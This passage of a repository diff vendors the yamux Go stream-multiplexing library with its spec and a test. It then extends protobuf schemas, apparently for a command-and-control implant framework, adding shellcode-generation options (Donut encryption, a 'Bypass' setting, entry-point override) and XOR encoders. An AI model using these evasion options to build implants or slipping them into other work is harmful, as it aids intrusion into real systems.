// Compute the RTT
return time.Since(start), nil
}
// keepalive is a long running goroutine that periodically does
// a ping to keep the connection alive.
func (s *Session) keepalive() {
for {
select {
case <-time.After(s.config.KeepAliveInterval):
_, err := s.Ping()
if err != nil {
if err != ErrSessionShutdown {
s.logger.Printf("[ERR] yamux: keepalive failed: %v", err)
s.exitErr(ErrKeepAliveTimeout)
}
return
}
case <-s.shutdownCh:
return
}
}
}
// waitForSendErr waits to send a header, checking for a potential shutdown
func (s *Session) waitForSend(hdr header, body []byte) error {
errCh := make(chan error, 1)
return s.waitForSendErr(hdr, body, errCh)
}
// waitForSendErr waits to send a header with optional data, checking for a
// potential shutdown. Since there's the expectation that sends can happen
// in a timely manner, we enforce the connection write timeout here.
func (s *Session) waitForSendErr(hdr header, body []byte, errCh chan error) error {
t := timerPool.Get()
timer := t.(*time.Timer)
timer.Reset(s.config.ConnectionWriteTimeout)
defer func() {
timer.Stop()
select {
case <-timer.C:
default:
}
timerPool.Put(t)
}()
ready := &sendReady{Hdr: hdr, Body: body, Err: errCh}
select {
case s.sendCh <- ready:
case <-s.shutdownCh:
return ErrSessionShutdown
case <-timer.C:
return ErrConnectionWriteTimeout
}
bodyCopy := func() {
if body == nil {
return // A nil body is ignored.
}
// In the event of session shutdown or connection write timeout,
// we need to prevent `send` from reading the body buffer after
// returning from this function since the caller may re-use the
// underlying array.
ready.mu.Lock()
defer ready.mu.Unlock()
if ready.Body == nil {
return // Body was already copied in `send`.
}
newBody := make([]byte, len(body))
copy(newBody, body)
ready.Body = newBody
}
select {
case err := <-errCh:
return err
case <-s.shutdownCh:
bodyCopy()
return ErrSessionShutdown
case <-timer.C:
bodyCopy()
return ErrConnectionWriteTimeout
}
}
// sendNoWait does a send without waiting. Since there's the expectation that
// the send happens right here, we enforce the connection write timeout if we
// can't queue the header to be sent.
func (s *Session) sendNoWait(hdr header) error {
t := timerPool.Get()
timer := t.(*time.Timer)
timer.Reset(s.config.ConnectionWriteTimeout)
defer func() {
timer.Stop()
select {
case <-timer.C:
default:
}
timerPool.Put(t)
}()
select {
case s.sendCh <- &sendReady{Hdr: hdr}:
return nil
case <-s.shutdownCh:
return ErrSessionShutdown
case <-timer.C:
return ErrConnectionWriteTimeout
}
}
// send is a long running goroutine that sends data
func (s *Session) send() {
if err := s.sendLoop(); err != nil {
s.exitErr(err)
}
}
func (s *Session) sendLoop() error {
defer close(s.sendDoneCh)
var bodyBuf bytes.Buffer
for {
bodyBuf.Reset()
select {
case ready := <-s.sendCh:
// Send a header if ready
if ready.Hdr != nil {
_, err := s.conn.Write(ready.Hdr)
if err != nil {
s.logger.Printf("[ERR] yamux: Failed to write header: %v", err)
asyncSendErr(ready.Err, err)
return err
}
}
ready.mu.Lock()
if ready.Body != nil {
// Copy the body into the buffer to avoid
// holding a mutex lock during the write.
_, err := bodyBuf.Write(ready.Body)
if err != nil {
ready.Body = nil
ready.mu.Unlock()
s.logger.Printf("[ERR] yamux: Failed to copy body into buffer: %v", err)
asyncSendErr(ready.Err, err)
return err
}
ready.Body = nil
}
ready.mu.Unlock()
if bodyBuf.Len() > 0 {
// Send data from a body if given
_, err := s.conn.Write(bodyBuf.Bytes())
if err != nil {
s.logger.Printf("[ERR] yamux: Failed to write body: %v", err)
asyncSendErr(ready.Err, err)
return err
}
}
// No error, successful send
asyncSendErr(ready.Err, nil)
case <-s.shutdownCh:
return nil
}
}
}
// recv is a long running goroutine that accepts new data
func (s *Session) recv() {
if err := s.recvLoop(); err != nil {
s.exitErr(err)
}
}
// Ensure that the index of the handler (typeData/typeWindowUpdate/etc) matches the message type
var (
handlers = []func(*Session, header) error{
typeData: (*Session).handleStreamMessage,
typeWindowUpdate: (*Session).handleStreamMessage,
typePing: (*Session).handlePing,
typeGoAway: (*Session).handleGoAway,
}
)
// recvLoop continues to receive data until a fatal error is encountered
func (s *Session) recvLoop() error {
defer close(s.recvDoneCh)
hdr := header(make([]byte, headerSize))
for {
// Read the header
if _, err := io.ReadFull(s.bufRead, hdr); err != nil {
if err != io.EOF && !strings.Contains(err.Error(), "closed") && !strings.Contains(err.Error(), "reset by peer") {
s.logger.Printf("[ERR] yamux: Failed to read header: %v", err)
}
return err
}
// Verify the version
if hdr.Version() != protoVersion {
s.logger.Printf("[ERR] yamux: Invalid protocol version: %d", hdr.Version())
return ErrInvalidVersion
}
mt := hdr.MsgType()
if mt < typeData || mt > typeGoAway {
return ErrInvalidMsgType
}
if err := handlers[mt](s, hdr); err != nil {
return err
}
}
}
// handleStreamMessage handles either a data or window update frame
func (s *Session) handleStreamMessage(hdr header) error {
// Check for a new stream creation
id := hdr.StreamID()
flags := hdr.Flags()
if flags&flagSYN == flagSYN {
if err := s.incomingStream(id); err != nil {
return err
}
}
// Get the stream
s.streamLock.Lock()
stream := s.streams[id]
s.streamLock.Unlock()
// If we do not have a stream, likely we sent a RST
if stream == nil {
// Drain any data on the wire
if hdr.MsgType() == typeData && hdr.Length() > 0 {
s.logger.Printf("[WARN] yamux: Discarding data for stream: %d", id)
if _, err := io.CopyN(ioutil.Discard, s.bufRead, int64(hdr.Length())); err != nil {
s.logger.Printf("[ERR] yamux: Failed to discard data: %v", err)
return nil
}
} else {
s.logger.Printf("[WARN] yamux: frame for missing stream: %v", hdr)
}
return nil
}
// Check if this is a window update
if hdr.MsgType() == typeWindowUpdate {
if err := stream.incrSendWindow(hdr, flags); err != nil {
if sendErr := s.sendNoWait(s.goAway(goAwayProtoErr)); sendErr != nil {
s.logger.Printf("[WARN] yamux: failed to send go away: %v", sendErr)
}
return err
}
return nil
}
// Read the new data
if err := stream.readData(hdr, flags, s.bufRead); err != nil {
if sendErr := s.sendNoWait(s.goAway(goAwayProtoErr)); sendErr != nil {
s.logger.Printf("[WARN] yamux: failed to send go away: %v", sendErr)
}
return err
}
return nil
}
// handlePing is invokde for a typePing frame
func (s *Session) handlePing(hdr header) error {
flags := hdr.Flags()
pingID := hdr.Length()
// Check if this is a query, respond back in a separate context so we
// don't interfere with the receiving thread blocking for the write.
if flags&flagSYN == flagSYN {
go func() {
hdr := header(make([]byte, headerSize))
hdr.encode(typePing, flagACK, 0, pingID)
if err := s.sendNoWait(hdr); err != nil {
s.logger.Printf("[WARN] yamux: failed to send ping reply: %v", err)
}
}()
return nil
}
// Handle a response
s.pingLock.Lock()
ch := s.pings[pingID]
if ch != nil {
delete(s.pings, pingID)
close(ch)
}
s.pingLock.Unlock()
return nil
}
// handleGoAway is invokde for a typeGoAway frame
func (s *Session) handleGoAway(hdr header) error {
code := hdr.Length()
switch code {
case goAwayNormal:
atomic.SwapInt32(&s.remoteGoAway, 1)
case goAwayProtoErr:
s.logger.Printf("[ERR] yamux: received protocol error go away")
return fmt.Errorf("yamux protocol error")
case goAwayInternalErr:
s.logger.Printf("[ERR] yamux: received internal error go away")
return fmt.Errorf("remote yamux internal error")
default:
s.logger.Printf("[ERR] yamux: received unexpected go away")
return fmt.Errorf("unexpected go away received")
}
return nil
}
// incomingStream is used to create a new incoming stream
func (s *Session) incomingStream(id uint32) error {
// Reject immediately if we are doing a go away
if atomic.LoadInt32(&s.localGoAway) == 1 {
hdr := header(make([]byte, headerSize))
hdr.encode(typeWindowUpdate, flagRST, id, 0)
return s.sendNoWait(hdr)
}
// Allocate a new stream
stream := newStream(s, id, streamSYNReceived)
s.streamLock.Lock()
defer s.streamLock.Unlock()
// Check if stream already exists
if _, ok := s.streams[id]; ok {
s.logger.Printf("[ERR] yamux: duplicate stream declared")
if sendErr := s.sendNoWait(s.goAway(goAwayProtoErr)); sendErr != nil {
s.logger.Printf("[WARN] yamux: failed to send go away: %v", sendErr)
}
return ErrDuplicateStream
}
// Register the stream
s.streams[id] = stream
// Check if we've exceeded the backlog
select {
case s.acceptCh <- stream:
return nil
default:
// Backlog exceeded! RST the stream
s.logger.Printf("[WARN] yamux: backlog exceeded, forcing connection reset")
delete(s.streams, id)
hdr := header(make([]byte, headerSize))
hdr.encode(typeWindowUpdate, flagRST, id, 0)
return s.sendNoWait(hdr)
}
}
// closeStream is used to close a stream once both sides have
// issued a close. If there was an in-flight SYN and the stream
// was not yet established, then this will give the credit back.
func (s *Session) closeStream(id uint32) {
s.streamLock.Lock()
if _, ok := s.inflight[id]; ok {
select {
case <-s.synCh:
default:
s.logger.Printf("[ERR] yamux: SYN tracking out of sync")
}
}
delete(s.streams, id)
s.streamLock.Unlock()
}
// establishStream is used to mark a stream that was in the
// SYN Sent state as established.
func (s *Session) establishStream(id uint32) {
s.streamLock.Lock()
if _, ok := s.inflight[id]; ok {
delete(s.inflight, id)
} else {
s.logger.Printf("[ERR] yamux: established stream without inflight SYN (no tracking entry)")
}
select {
case <-s.synCh:
default:
s.logger.Printf("[ERR] yamux: established stream without inflight SYN (didn't have semaphore)")
}
s.streamLock.Unlock()
}
+140
View File
@@ -0,0 +1,140 @@
# Specification
We use this document to detail the internal specification of Yamux.
This is used both as a guide for implementing Yamux, but also for
alternative interoperable libraries to be built.
# Framing
Yamux uses a streaming connection underneath, but imposes a message
framing so that it can be shared between many logical streams. Each
frame contains a header like:
* Version (8 bits)
* Type (8 bits)
* Flags (16 bits)
* StreamID (32 bits)
* Length (32 bits)
This means that each header has a 12 byte overhead.
All fields are encoded in network order (big endian).
Each field is described below:
## Version Field
The version field is used for future backward compatibility. At the
current time, the field is always set to 0, to indicate the initial
version.
## Type Field
The type field is used to switch the frame message type. The following
message types are supported:
* 0x0 Data - Used to transmit data. May transmit zero length payloads
depending on the flags.
* 0x1 Window Update - Used to updated the senders receive window size.
This is used to implement per-session flow control.
* 0x2 Ping - Used to measure RTT. It can also be used to heart-beat
and do keep-alives over TCP.
* 0x3 Go Away - Used to close a session.
## Flag Field
The flags field is used to provide additional information related
to the message type. The following flags are supported:
* 0x1 SYN - Signals the start of a new stream. May be sent with a data or
window update message. Also sent with a ping to indicate outbound.
* 0x2 ACK - Acknowledges the start of a new stream. May be sent with a data
or window update message. Also sent with a ping to indicate response.
* 0x4 FIN - Performs a half-close of a stream. May be sent with a data
message or window update.
* 0x8 RST - Reset a stream immediately. May be sent with a data or
window update message.
## StreamID Field
The StreamID field is used to identify the logical stream the frame
is addressing. The client side should use odd ID's, and the server even.
This prevents any collisions. Additionally, the 0 ID is reserved to represent
the session.
Both Ping and Go Away messages should always use the 0 StreamID.
## Length Field
The meaning of the length field depends on the message type:
* Data - provides the length of bytes following the header
* Window update - provides a delta update to the window size
* Ping - Contains an opaque value, echoed back
* Go Away - Contains an error code
# Message Flow
There is no explicit connection setup, as Yamux relies on an underlying
transport to be provided. However, there is a distinction between client
and server side of the connection.
## Opening a stream
To open a stream, an initial data or window update frame is sent
with a new StreamID. The SYN flag should be set to signal a new stream.
The receiver must then reply with either a data or window update frame
with the StreamID along with the ACK flag to accept the stream or with
the RST flag to reject the stream.
Because we are relying on the reliable stream underneath, a connection
can begin sending data once the SYN flag is sent. The corresponding
ACK does not need to be received. This is particularly well suited
for an RPC system where a client wants to open a stream and immediately
fire a request without waiting for the RTT of the ACK.
This does introduce the possibility of a connection being rejected
after data has been sent already. This is a slight semantic difference
from TCP, where the connection cannot be refused after it is opened.
Clients should be prepared to handle this by checking for an error
that indicates a RST was received.
## Closing a stream
To close a stream, either side sends a data or window update frame
along with the FIN flag. This does a half-close indicating the sender
will send no further data.
Once both sides have closed the connection, the stream is closed.
Alternatively, if an error occurs, the RST flag can be used to
hard close a stream immediately.
## Flow Control
When Yamux is initially starts each stream with a 256KB window size.
There is no window size for the session.
To prevent the streams from stalling, window update frames should be
sent regularly. Yamux can be configured to provide a larger limit for
windows sizes. Both sides assume the initial 256KB window, but can
immediately send a window update as part of the SYN/ACK indicating a
larger window.
Both sides should track the number of bytes sent in Data frames
only, as only they are tracked as part of the window size.
## Session termination
When a session is being terminated, the Go Away message should
be sent. The Length should be set to one of the following to
provide an error code:
* 0x0 Normal termination
* 0x1 Protocol error
* 0x2 Internal error
+556
View File
@@ -0,0 +1,556 @@
package yamux
import (
"bytes"
"errors"
"io"
"sync"
"sync/atomic"
"time"
)
type streamState int
const (
streamInit streamState = iota
streamSYNSent
streamSYNReceived
streamEstablished
streamLocalClose
streamRemoteClose
streamClosed
streamReset
)
// Stream is used to represent a logical stream
// within a session.
type Stream struct {
recvWindow uint32
sendWindow uint32
id uint32
session *Session
state streamState
stateLock sync.Mutex
recvBuf *bytes.Buffer
recvLock sync.Mutex
controlHdr header
controlErr chan error
controlHdrLock sync.Mutex
sendHdr header
sendErr chan error
sendLock sync.Mutex
recvNotifyCh chan struct{}
sendNotifyCh chan struct{}
readDeadline atomic.Value // time.Time
writeDeadline atomic.Value // time.Time
// establishCh is notified if the stream is established or being closed.
establishCh chan struct{}
// closeTimer is set with stateLock held to honor the StreamCloseTimeout
// setting on Session.
closeTimer *time.Timer
}
// newStream is used to construct a new stream within
// a given session for an ID
func newStream(session *Session, id uint32, state streamState) *Stream {
s := &Stream{
id: id,
session: session,
state: state,
controlHdr: header(make([]byte, headerSize)),
controlErr: make(chan error, 1),
sendHdr: header(make([]byte, headerSize)),
sendErr: make(chan error, 1),
recvWindow: initialStreamWindow,
sendWindow: initialStreamWindow,
recvNotifyCh: make(chan struct{}, 1),
sendNotifyCh: make(chan struct{}, 1),
establishCh: make(chan struct{}, 1),
}
s.readDeadline.Store(time.Time{})
s.writeDeadline.Store(time.Time{})
return s
}
// Session returns the associated stream session
func (s *Stream) Session() *Session {
return s.session
}
// StreamID returns the ID of this stream
func (s *Stream) StreamID() uint32 {
return s.id
}
// Read is used to read from the stream
func (s *Stream) Read(b []byte) (n int, err error) {
defer asyncNotify(s.recvNotifyCh)
START:
// If the stream is closed and there's no data buffered, return EOF
s.stateLock.Lock()
switch s.state {
case streamLocalClose:
// LocalClose only prohibits further local writes. Handle reads normally.
case streamRemoteClose:
fallthrough
case streamClosed:
s.recvLock.Lock()
if s.recvBuf == nil || s.recvBuf.Len() == 0 {
s.recvLock.Unlock()
s.stateLock.Unlock()
return 0, io.EOF
}
s.recvLock.Unlock()
case streamReset:
s.stateLock.Unlock()
return 0, ErrConnectionReset
}
s.stateLock.Unlock()
// If there is no data available, block
s.recvLock.Lock()
if s.recvBuf == nil || s.recvBuf.Len() == 0 {
s.recvLock.Unlock()
goto WAIT
}
// Read any bytes
n, _ = s.recvBuf.Read(b)
s.recvLock.Unlock()
// Send a window update potentially
err = s.sendWindowUpdate()
if err == ErrSessionShutdown {
err = nil
}
return n, err
WAIT:
var timeout <-chan time.Time
var timer *time.Timer
readDeadline := s.readDeadline.Load().(time.Time)
if !readDeadline.IsZero() {
delay := time.Until(readDeadline)
timer = time.NewTimer(delay)
timeout = timer.C
}
select {
case <-s.session.shutdownCh:
case <-s.recvNotifyCh:
case <-timeout:
return 0, ErrTimeout
}
if timer != nil {
if !timer.Stop() {
<-timeout
}
}
goto START
}
// Write is used to write to the stream
func (s *Stream) Write(b []byte) (n int, err error) {
s.sendLock.Lock()
defer s.sendLock.Unlock()
total := 0
for total < len(b) {
n, err := s.write(b[total:])
total += n
if err != nil {
return total, err
}
}
return total, nil
}
// write is used to write to the stream, may return on
// a short write.
func (s *Stream) write(b []byte) (n int, err error) {
var flags uint16
var max uint32
var body []byte
START:
s.stateLock.Lock()
switch s.state {
case streamLocalClose:
fallthrough
case streamClosed:
s.stateLock.Unlock()
return 0, ErrStreamClosed
case streamReset:
s.stateLock.Unlock()
return 0, ErrConnectionReset
}
s.stateLock.Unlock()
// If there is no data available, block
window := atomic.LoadUint32(&s.sendWindow)
if window == 0 {
goto WAIT
}
// Determine the flags if any
flags = s.sendFlags()
// Send up to our send window
max = min(window, uint32(len(b)))
body = b[:max]
// Send the header
s.sendHdr.encode(typeData, flags, s.id, max)
if err = s.session.waitForSendErr(s.sendHdr, body, s.sendErr); err != nil {
if errors.Is(err, ErrSessionShutdown) || errors.Is(err, ErrConnectionWriteTimeout) {
// Message left in ready queue, header re-use is unsafe.
s.sendHdr = header(make([]byte, headerSize))
}
return 0, err
}
// Reduce our send window
atomic.AddUint32(&s.sendWindow, ^uint32(max-1))
// Unlock
return int(max), err
WAIT:
var timeout <-chan time.Time
var timer *time.Timer
writeDeadline := s.writeDeadline.Load().(time.Time)
if !writeDeadline.IsZero() {
delay := time.Until(writeDeadline)
timer = time.NewTimer(delay)
timeout = timer.C
}
select {
case <-s.session.shutdownCh:
case <-s.sendNotifyCh:
case <-timeout:
return 0, ErrTimeout
}
if timer != nil {
if !timer.Stop() {
<-timeout
}
}
goto START
}
// sendFlags determines any flags that are appropriate
// based on the current stream state
func (s *Stream) sendFlags() uint16 {
s.stateLock.Lock()
defer s.stateLock.Unlock()
var flags uint16
switch s.state {
case streamInit:
flags |= flagSYN
s.state = streamSYNSent
case streamSYNReceived:
flags |= flagACK
s.state = streamEstablished
}
return flags
}
// sendWindowUpdate potentially sends a window update enabling
// further writes to take place. Must be invoked with the lock.
func (s *Stream) sendWindowUpdate() error {
s.controlHdrLock.Lock()
defer s.controlHdrLock.Unlock()
// Determine the delta update
max := s.session.config.MaxStreamWindowSize
var bufLen uint32
s.recvLock.Lock()
if s.recvBuf != nil {
bufLen = uint32(s.recvBuf.Len())
}
delta := (max - bufLen) - s.recvWindow
// Determine the flags if any
flags := s.sendFlags()
// Check if we can omit the update
if delta < (max/2) && flags == 0 {
s.recvLock.Unlock()
return nil
}
// Update our window
s.recvWindow += delta
s.recvLock.Unlock()
// Send the header
s.controlHdr.encode(typeWindowUpdate, flags, s.id, delta)
if err := s.session.waitForSendErr(s.controlHdr, nil, s.controlErr); err != nil {
if errors.Is(err, ErrSessionShutdown) || errors.Is(err, ErrConnectionWriteTimeout) {
// Message left in ready queue, header re-use is unsafe.
s.controlHdr = header(make([]byte, headerSize))
}
return err
}
return nil
}
// sendClose is used to send a FIN
func (s *Stream) sendClose() error {
s.controlHdrLock.Lock()
defer s.controlHdrLock.Unlock()
flags := s.sendFlags()
flags |= flagFIN
s.controlHdr.encode(typeWindowUpdate, flags, s.id, 0)
if err := s.session.waitForSendErr(s.controlHdr, nil, s.controlErr); err != nil {
if errors.Is(err, ErrSessionShutdown) || errors.Is(err, ErrConnectionWriteTimeout) {
// Message left in ready queue, header re-use is unsafe.
s.controlHdr = header(make([]byte, headerSize))
}
return err
}
return nil
}
// Close is used to close the stream
func (s *Stream) Close() error {
closeStream := false
s.stateLock.Lock()
switch s.state {
// Opened means we need to signal a close
case streamSYNSent:
fallthrough
case streamSYNReceived:
fallthrough
case streamEstablished:
s.state = streamLocalClose
goto SEND_CLOSE
case streamLocalClose:
case streamRemoteClose:
s.state = streamClosed
closeStream = true
goto SEND_CLOSE
case streamClosed:
case streamReset:
default:
panic("unhandled state")
}
s.stateLock.Unlock()
return nil
SEND_CLOSE:
// This shouldn't happen (the more realistic scenario to cancel the
// timer is via processFlags) but just in case this ever happens, we
// cancel the timer to prevent dangling timers.
if s.closeTimer != nil {
s.closeTimer.Stop()
s.closeTimer = nil
}
// If we have a StreamCloseTimeout set we start the timeout timer.
// We do this only if we're not already closing the stream since that
// means this was a graceful close.
//
// This prevents memory leaks if one side (this side) closes and the
// remote side poorly behaves and never responds with a FIN to complete
// the close. After the specified timeout, we clean our resources up no
// matter what.
if !closeStream && s.session.config.StreamCloseTimeout > 0 {
s.closeTimer = time.AfterFunc(
s.session.config.StreamCloseTimeout, s.closeTimeout)
}
s.stateLock.Unlock()
s.sendClose()
s.notifyWaiting()
if closeStream {
s.session.closeStream(s.id)
}
return nil
}
// closeTimeout is called after StreamCloseTimeout during a close to
// close this stream.
func (s *Stream) closeTimeout() {
// Close our side forcibly
s.forceClose()
// Free the stream from the session map
s.session.closeStream(s.id)
// Send a RST so the remote side closes too.
s.sendLock.Lock()
defer s.sendLock.Unlock()
hdr := header(make([]byte, headerSize))
hdr.encode(typeWindowUpdate, flagRST, s.id, 0)
_ = s.session.sendNoWait(hdr)
}
// forceClose is used for when the session is exiting
func (s *Stream) forceClose() {
s.stateLock.Lock()
s.state = streamClosed
s.stateLock.Unlock()
s.notifyWaiting()
}
// processFlags is used to update the state of the stream
// based on set flags, if any. Lock must be held
func (s *Stream) processFlags(flags uint16) error {
s.stateLock.Lock()
defer s.stateLock.Unlock()
// Close the stream without holding the state lock
closeStream := false
defer func() {
if closeStream {
if s.closeTimer != nil {
// Stop our close timeout timer since we gracefully closed
s.closeTimer.Stop()
}
s.session.closeStream(s.id)
}
}()
if flags&flagACK == flagACK {
if s.state == streamSYNSent {
s.state = streamEstablished
}
asyncNotify(s.establishCh)
s.session.establishStream(s.id)
}
if flags&flagFIN == flagFIN {
switch s.state {
case streamSYNSent:
fallthrough
case streamSYNReceived:
fallthrough
case streamEstablished:
s.state = streamRemoteClose
s.notifyWaiting()
case streamLocalClose:
s.state = streamClosed
closeStream = true
s.notifyWaiting()
default:
s.session.logger.Printf("[ERR] yamux: unexpected FIN flag in state %d", s.state)
return ErrUnexpectedFlag
}
}
if flags&flagRST == flagRST {
s.state = streamReset
closeStream = true
s.notifyWaiting()
}
return nil
}
// notifyWaiting notifies all the waiting channels
func (s *Stream) notifyWaiting() {
asyncNotify(s.recvNotifyCh)
asyncNotify(s.sendNotifyCh)
asyncNotify(s.establishCh)
}
// incrSendWindow updates the size of our send window
func (s *Stream) incrSendWindow(hdr header, flags uint16) error {
if err := s.processFlags(flags); err != nil {
return err
}
// Increase window, unblock a sender
atomic.AddUint32(&s.sendWindow, hdr.Length())
asyncNotify(s.sendNotifyCh)
return nil
}
// readData is used to handle a data frame
func (s *Stream) readData(hdr header, flags uint16, conn io.Reader) error {
if err := s.processFlags(flags); err != nil {
return err
}
// Check that our recv window is not exceeded
length := hdr.Length()
if length == 0 {
return nil
}
// Wrap in a limited reader
conn = &io.LimitedReader{R: conn, N: int64(length)}
// Copy into buffer
s.recvLock.Lock()
if length > s.recvWindow {
s.session.logger.Printf("[ERR] yamux: receive window exceeded (stream: %d, remain: %d, recv: %d)", s.id, s.recvWindow, length)
s.recvLock.Unlock()
return ErrRecvWindowExceeded
}
if s.recvBuf == nil {
// Allocate the receive buffer just-in-time to fit the full data frame.
// This way we can read in the whole packet without further allocations.
s.recvBuf = bytes.NewBuffer(make([]byte, 0, length))
}
copiedLength, err := io.Copy(s.recvBuf, conn)
if err != nil {
s.session.logger.Printf("[ERR] yamux: Failed to read stream data: %v", err)
s.recvLock.Unlock()
return err
}
// Decrement the receive window
s.recvWindow -= uint32(copiedLength)
s.recvLock.Unlock()
// Unblock any readers
asyncNotify(s.recvNotifyCh)
return nil
}
// SetDeadline sets the read and write deadlines
func (s *Stream) SetDeadline(t time.Time) error {
if err := s.SetReadDeadline(t); err != nil {
return err
}
if err := s.SetWriteDeadline(t); err != nil {
return err
}
return nil
}
// SetReadDeadline sets the deadline for blocked and future Read calls.
func (s *Stream) SetReadDeadline(t time.Time) error {
s.readDeadline.Store(t)
asyncNotify(s.recvNotifyCh)
return nil
}
// SetWriteDeadline sets the deadline for blocked and future Write calls
func (s *Stream) SetWriteDeadline(t time.Time) error {
s.writeDeadline.Store(t)
asyncNotify(s.sendNotifyCh)
return nil
}
// Shrink is used to compact the amount of buffers utilized
// This is useful when using Yamux in a connection pool to reduce
// the idle memory utilization.
func (s *Stream) Shrink() {
s.recvLock.Lock()
if s.recvBuf != nil && s.recvBuf.Len() == 0 {
s.recvBuf = nil
}
s.recvLock.Unlock()
}
+50
View File
@@ -0,0 +1,50 @@
package yamux
import (
"sync"
"time"
)
// Logger is a abstract of *log.Logger
type Logger interface {
Print(v ...interface{})
Printf(format string, v ...interface{})
Println(v ...interface{})
}
var (
timerPool = &sync.Pool{
New: func() interface{} {
timer := time.NewTimer(time.Hour * 1e6)
timer.Stop()
return timer
},
}
)
// asyncSendErr is used to try an async send of an error
func asyncSendErr(ch chan error, err error) {
if ch == nil {
return
}
select {
case ch <- err:
default:
}
}
// asyncNotify is used to signal a waiting goroutine
func asyncNotify(ch chan struct{}) {
select {
case ch <- struct{}{}:
default:
}
}
// min computes the minimum of two values
func min(a, b uint32) uint32 {
if a < b {
return a
}
return b
}
+3
View File
@@ -45,6 +45,9 @@ github.com/google/btree
# github.com/hashicorp/go-uuid v1.0.2
## explicit
github.com/hashicorp/go-uuid
# github.com/hashicorp/yamux v0.1.2
## explicit; go 1.20
github.com/hashicorp/yamux
# github.com/jcmturner/gofork v1.0.0
## explicit
github.com/jcmturner/gofork/encoding/asn1
+83
View File
@@ -0,0 +1,83 @@
package yamuxtest
import (
"bytes"
"fmt"
"io"
"net"
"sync"
"testing"
"github.com/hashicorp/yamux"
)
func TestYamuxConcurrentStreams(t *testing.T) {
serverConn, clientConn := net.Pipe()
serverSession, err := yamux.Server(serverConn, nil)
if err != nil {
t.Fatalf("server session: %v", err)
}
defer serverSession.Close()
clientSession, err := yamux.Client(clientConn, nil)
if err != nil {
t.Fatalf("client session: %v", err)
}
defer clientSession.Close()
const streams = 16
payloads := make([][]byte, streams)
for i := 0; i < streams; i++ {
payloads[i] = []byte(fmt.Sprintf("stream=%d payload=%s", i, bytes.Repeat([]byte{byte('a' + i)}, 4096)))
}
var openWg sync.WaitGroup
openWg.Add(streams)
for i := 0; i < streams; i++ {
i := i
go func() {
defer openWg.Done()
stream, err := clientSession.Open()
if err != nil {
t.Errorf("open stream %d: %v", i, err)
return
}
_, err = stream.Write(payloads[i])
_ = stream.Close()
if err != nil {
t.Errorf("write stream %d: %v", i, err)
return
}
}()
}
openWg.Wait()
wantSet := map[string]struct{}{}
for _, p := range payloads {
wantSet[string(p)] = struct{}{}
}
gotSet := map[string]struct{}{}
for i := 0; i < streams; i++ {
stream, err := serverSession.Accept()
if err != nil {
t.Fatalf("accept stream %d: %v", i, err)
}
b, err := io.ReadAll(stream)
_ = stream.Close()
if err != nil {
t.Fatalf("read stream %d: %v", i, err)
}
gotSet[string(b)] = struct{}{}
}
if len(gotSet) != len(wantSet) {
t.Fatalf("unexpected payload count: got=%d want=%d", len(gotSet), len(wantSet))
}
for want := range wantSet {
if _, ok := gotSet[want]; !ok {
t.Fatalf("missing payload: %q", want)
}
}
}
File diff suppressed because it is too large. Load diff
+36 -1
View File
@@ -132,6 +132,29 @@ enum OutputFormat {
THIRD_PARTY = 4;
}
// ShellcodeConfig - options used when generating shellcode output.
//
// Note: Most fields map to Donut options for Windows shellcode generation.
// On macOS (darwin/arm64), only `Compress` is currently used (beignet aPLib).
message ShellcodeConfig {
// 1=none, 2=random names, 3=random names + symmetric encryption (Windows/Donut only)
uint32 Entropy = 2;
// 1=none, 2=aplib (Windows/Donut + macOS/beignet)
uint32 Compress = 3;
// 1=exit thread, 2=exit process, 3=block (Windows/Donut only)
uint32 ExitOpt = 4;
// 1=none, 2=abort on failure, 3=continue on failure (Windows/Donut only)
uint32 Bypass = 5;
// 1=overwrite headers, 2=keep headers (Windows/Donut only)
uint32 Headers = 6;
// Run unmanaged EXE entrypoint as a new thread (Windows/Donut only)
bool Thread = 7;
// Convert command line to Unicode for unmanaged DLL entrypoints (Windows/Donut only)
bool Unicode = 8;
// Override original entry point (0 = default) (Windows/Donut only)
uint32 OEP = 9;
}
message ImplantConfig {
string ID = 1;
repeated ImplantBuild ImplantBuilds = 2;
@@ -184,6 +207,8 @@ message ImplantConfig {
bool RunAtLoad = 105;
string DebugFile = 106;
repeated string exports = 107;
ShellcodeConfig ShellcodeConfig = 108;
ShellcodeEncoder ShellcodeEncoder = 109;
string HTTPC2ConfigName = 150;
bool NetGoEnabled = 151;
@@ -690,6 +715,8 @@ message Backdoor { commonpb.Response Response = 9; }
enum ShellcodeEncoder {
NONE = 0;
SHIKATA_GA_NAI = 1;
XOR = 2;
XOR_DYNAMIC = 3;
}
message ShellcodeEncodeReq {
@@ -697,6 +724,7 @@ message ShellcodeEncodeReq {
string Architecture = 2;
uint32 Iterations = 3;
bytes BadChars = 4;
reserved 5;
bytes Data = 8;
commonpb.Request Request = 9;
@@ -708,7 +736,14 @@ message ShellcodeEncode {
commonpb.Response Response = 9;
}
message ShellcodeEncoderMap { map<string, ShellcodeEncoder> Encoders = 1; }
message ShellcodeEncoderArchMap {
map<string, ShellcodeEncoder> Encoders = 1;
map<string, string> Descriptions = 2;
}
message ShellcodeEncoderMap {
map<string, ShellcodeEncoderArchMap> Encoders = 1;
}
// [ Builder ] ----------------------------------------
+1 -1
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v6.33.4
// protoc v3.15.8
// source: commonpb/common.proto
package commonpb
+1 -1
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v6.33.4
// protoc v3.15.8
// source: dnspb/dns.proto
package dnspb
+337 -330
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v6.33.4
// protoc v3.15.8
// source: rpcpb/services.proto
package rpcpb
@@ -31,7 +31,7 @@ var file_rpcpb_services_proto_rawDesc = []byte{
0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2f, 0x73,
0x6c, 0x69, 0x76, 0x65, 0x72, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x63, 0x6c, 0x69,
0x65, 0x6e, 0x74, 0x70, 0x62, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, 0x70, 0x72, 0x6f,
0x74, 0x6f, 0x32, 0xc5, 0x56, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
